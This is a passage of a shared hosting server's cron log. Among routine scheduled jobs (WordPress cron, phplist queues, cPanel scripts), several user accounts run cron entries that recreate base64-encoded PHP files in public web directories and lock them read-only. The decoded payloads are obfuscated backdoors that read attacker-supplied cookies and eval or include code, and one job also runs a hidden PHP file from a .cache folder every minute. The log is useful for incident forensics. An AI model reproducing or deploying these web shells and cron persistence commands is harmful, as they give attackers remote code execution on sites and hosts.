pc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:17:01 medusa CROND[8465]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:17:01 medusa CROND[8466]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:17:01 medusa CROND[8467]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:17:01 medusa CROND[8468]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:17:01 medusa CROND[8469]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:17:01 medusa CROND[8472]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:17:01 medusa CROND[8471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:17:01 medusa CROND[8482]: (firadio) CMD (php -q /home/firadio/public_html/phplist/admin/index.php -pprocessqueue -c/home/firadio/public_html/phplist/config/config.php >/dev/null)
Mar  2 08:17:01 medusa CROND[8490]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:17:01 medusa CROND[8495]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 08:17:01 medusa CROND[8496]: (imercado) CMD (/usr/local/cpanel/3rdparty/bin/php -q /home/imercado/public_html/phplist/admin/index.php -pprocessqueue -c/home/imercado/public_html/phplist/config/config.php >/dev/null)
Mar  2 08:17:01 medusa CROND[8500]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:18:01 medusa CROND[25873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:18:02 medusa CROND[26000]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:18:02 medusa CROND[26136]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:18:02 medusa CROND[26140]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:18:02 medusa CROND[26141]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 08:18:02 medusa CROND[26143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:18:02 medusa CROND[26146]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:18:02 medusa CROND[26147]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:18:02 medusa CROND[26148]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:18:02 medusa CROND[26151]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:18:02 medusa CROND[26152]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:18:02 medusa CROND[26153]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:18:02 medusa CROND[26158]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:18:02 medusa CROND[26159]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:19:01 medusa CROND[14160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:19:02 medusa CROND[14390]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:19:02 medusa CROND[14402]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:19:02 medusa CROND[14394]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:19:02 medusa CROND[14403]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:19:02 medusa CROND[14405]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:19:02 medusa CROND[14409]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
